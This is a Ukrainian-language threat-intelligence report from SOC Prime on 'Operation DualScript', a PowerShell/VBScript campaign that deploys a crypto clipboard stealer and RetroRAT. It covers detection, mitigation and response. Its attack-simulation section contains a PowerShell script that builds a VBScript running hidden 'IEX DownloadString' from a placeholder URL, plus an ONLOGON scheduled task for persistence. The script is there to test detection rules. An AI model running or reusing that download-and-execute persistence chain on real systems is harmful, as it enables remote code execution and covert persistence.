SOC Prime Bias: Критичний

31 Mar 2026 15:28

Операція DualScript: багатоступеневе PowerShell шкідливе програмне забезпечення націлене на криптовалюту та фінанси

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Операція DualScript: багатоступеневе PowerShell шкідливе програмне забезпечення націлене на криптовалюту та фінанси
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Звіт описує Операцію DualScript, багатоступеневу кампанію шкідливого програмного забезпечення, яка покладається на збереження завдань за розкладом, VBScript-ланчери та PowerShell-лоадери для розгортання як викрадача буферу обміну, так і трояна віддаленого доступу RetroRAT. Зловмисники зберігають шкідливий PowerShell на зовнішніх серверах і виконують його повністю в пам’яті, щоб зменшити можливості виявлення. RetroRAT записує натискання клавіш, контролює активні вікна на фінансові ключові слова і відправляє викрадені дані через спеціальний TCP C2 канал. Кампанія спрямована на активність з криптовалютою та цільові банки США.

Дослідження

Аналітики виявили заплановані завдання, налаштовані на запуск файлів VBScript з шляхів, доступних для запису користувачами, які потім виконували прихований PowerShell з увімкненою можливістю обходу політики виконання. Було ідентифіковано два паралельні ланцюги доставки: один завантажував сценарій Wallet.txt для викрадення вмісту буфера обміну криптовалюти, а інший завантажував RetroRAT безпосередньо в пам’ять. Статичний аналіз також виявив логіку протидії аналізу, створення мутекса, багатопоточний кейлогінг і хардкодовий рядок рукопотиска C2.

Мітигація

Захисники повинні контролювати підозрілі заплановані завдання, які викликають VBScript або PowerShell з прихованими вікнами та аргументами обходу. Виявлення на кінцевих точках має бути зосереджено на виконанні PowerShell в пам’яті, незвичній поведінці моніторингу буфера обміну та створенні невідомих мутексів. Організації також повинні блокувати вихідний трафік до шкідливих доменів і застосовувати суворий контроль виконання до PowerShell і VBScript.

Реагування

Якщо ця активність виявлена, відключіть уражений хост, вимкніть шкідливі заплановані завдання та видаліть будь-які збережені артефакти VBScript або PowerShell. Проведіть повну судово-медичну перевірку для RetroRAT, захоплених даних з клавіатури та пов’язаного трафіку C2. Скиньте інформацію про гаманці криптовалюти, що були піддані загрозам і змініть банківські облікові дані. Відновіть уражені системи з чистих резервних копій та заблокуйте виявлені домени та IP-адреси на рівні мережі.

"graph TB %% Class definitions classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Nodes u2013 Techniques tech_persistence["<b>Техніка</b> – <b>T1053 Заплановане Завдання/Завдання</b><br/><b>Опис</b>: Створює заплановане завдання Windows, яке запускає VBScript-ланчер у прихованому режимі для збереження."] class tech_persistence technique tech_execution["<b>Техніка</b> – <b>T1059.001 PowerShell</b><br/><b>Опис</b>: Виконує код PowerShell через обхід політики виконання і запускає його безпосередньо в пам’яті."] class tech_execution technique tech_defense["<b>Техніка</b> – <b>T1497.002 Віртуалізація Ухилення від Пісочниці</b><br/><b>Опис</b>: Перевіряє наявність користувачів пісочниць та артефактів віртуальних машин; припиняє, якщо таке середовище виявлено."] class tech_defense technique tech_download["<b>Техніка</b> – <b>T1102 Веб-сервіс</b><br/><b>Опис</b>: Отримує віддалене навантаження (Wallet.txt) через HTTPS і перетворює його на ScriptBlock для виконання в пам’яті."] class tech_download technique tech_clipboard["<b>Техніка</b> – <b>T1115 Дані Буфера Обміну</b> та <b>T1204.004 Зловмисне Копіювання та Вставка</b><br/><b>Опис</b>: Контролює системний буфер обміну і змінює легітимні адреси криптовалюти на гаманці, контрольовані зловмисниками."] class tech_clipboard technique tech_keylog["<b>Техніка</b> – <b>T1056.001 Кейлогінг</b><br/><b>Опис</b>: Встановлює низькорівневий гачок для клавіатури, щоб захоплювати натискання клавіш під час фінансових сесій."] class tech_keylog technique tech_screen["<b>Техніка</b> – <b>T1113 Захоплення Екрану</b><br/><b>Опис</b>: Записує знімки екрану або транслює робочий стіл для візуального моніторингу активності жертви."] class tech_screen technique tech_c2["<b>Техніка</b> – <b>T1041 Експілтрація Через C2 Канал</b><br/><b>Опис</b>: Надсилає зібрані натискання клавіш, дані з буфера обміну та журнали на хардкодований C2 сервер за допомогою TCP клієнта."] class tech_c2 technique tech_process["<b>Техніка</b> – <b>T1543 Створення або Модифікація Системного Процесу</b><br/><b>Опис</b>: Заплановане завдання створює новий процес для навантаження PowerShell і пізніше створює додаткові потоки для паралельних функцій."] class tech_process technique tech_rdp["<b>Техніка</b> – <b>T1219.002 Програмне Забезпечення Віддаленого Робочого Столу</b><br/><b>Опис</b>: Дозволяє зловмиснику переглядати або керувати робочим столом жертви через компонент RetroRAT."] class tech_rdp technique tech_inputinj["<b>Техніка</b> – <b>T1674 Впорскування Вводу</b><br/><b>Опис</b>: Впорскує рядки гаманця, контрольовані зловмисником, у буфер обміну перед тим, як жертва вставляє вміст."] class tech_inputinj technique %% Nodes u2013 Artifacts file_vbscript["<b>Файл</b> – <b>Назва</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>Призначення</b>: Запускає навантаження PowerShell у прихованому режимі."] class file_vbscript file malware_retro["<b>Зловмисне програмне забезпечення</b> – <b>Назва</b>: RetroRAT<br/><b>Функція</b>: Забезпечує можливості віддаленого робочого столу та виконання команд."] class malware_retro malware %% Connections u2013 Flow tech_persistence –>|створює| file_vbscript file_vbscript –>|запускає| tech_execution tech_execution –>|використовує| tech_download tech_download –>|постачає навантаження до| tech_process tech_process –>|створює| tech_keylog tech_process –>|створює| tech_screen tech_process –>|створює| tech_clipboard tech_clipboard –>|дає змогу| tech_inputinj tech_keylog –>|експілтрує через| tech_c2 tech_screen –>|експілтрує через| tech_c2 tech_clipboard –>|експілтрує через| tech_c2 tech_process –>|запускає| tech_rdp tech_rdp –>|спілкується з| tech_c2 tech_rdp –>|запускає| malware_retro tech_defense –>|перевіряє перед| file_vbscript "

Потік атаки

Виконання Симуляції

Передумова: Передпольотна перевірка Телеметрії та Базових даних повинна бути пройдена.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (ТТП), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати виявлене ТТП і мають на меті генерувати точну телеметрію, очікувану логікою виявлення.

  • Нарратив атаки та команди:
    Спочатку атакувач розміщує VBScript (dual.vbs) в каталозі профілю користувача. Скріпт має на меті запустити PowerShell з параметрами -WindowStyle Hidden and -ExecutionPolicy Bypass, потім завантажити і виконати віддалене навантаження (імітується простим Write-Host). Щоб забезпечити стійкість, атакувач реєструє завдання за розкладом (DualScriptPersist), яке запускає VBScript при вході в систему. Кожен крок створює два пов’язаних запису EventID 4104, які шукає правило.

  • Сценарій регресійного тестування:

    # -------------------------------------------------
    # Симуляція атаки DualScript - PowerShell
    # -------------------------------------------------
    # 1️⃣ Створити шкідливий VBScript у доступному для запису шляху користувача
    $vbsPath = "$env:USERPROFILEdual.vbs"
    $payloadUrl = "http://example.com/payload.ps1"   # заповнювач URL
    $vbsContent = @"
    WScript.Sleep 500
    Dim sh
    Set sh = CreateObject("WScript.Shell")
    sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
    "@
    $vbsContent | Set-Content -Path $vbsPath -Coding ASCII
    
    # 2️⃣ Зареєструвати завдання за розкладом, що запускає VBScript при кожному вході користувача в систему
    $taskName = "DualScriptPersist"
    $taskAction = "`"$vbsPath`""
    schtasks.exe /Create `
        /SC ONLOGON `
        /RL HIGHEST `
        /TN $taskName `
        /TR $taskAction `
        /F
    
    # 3️⃣ Змусити завдання негайно виконатися (тригерувати виявлення)
    schtasks.exe /Run /TN $taskName
    
    Write-Host "`n[+] Виконано симуляцію DualScript. Перевірте ваш SIEM на наявність попереджень."
    # -------------------------------------------------
  • Команди очищення:

    # -------------------------------------------------
    # Очищення після симуляції DualScript
    # -------------------------------------------------
    $taskName = "DualScriptPersist"
    $vbsPath  = "$env:USERPROFILEdual.vbs"
    
    # Видалити заплановане завдання
    schtasks.exe /Delete /TN $taskName /F
    
    # Видалити файл VBScript
    Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
    
    Write-Host "`n[+] Очищення завершено."
    # -------------------------------------------------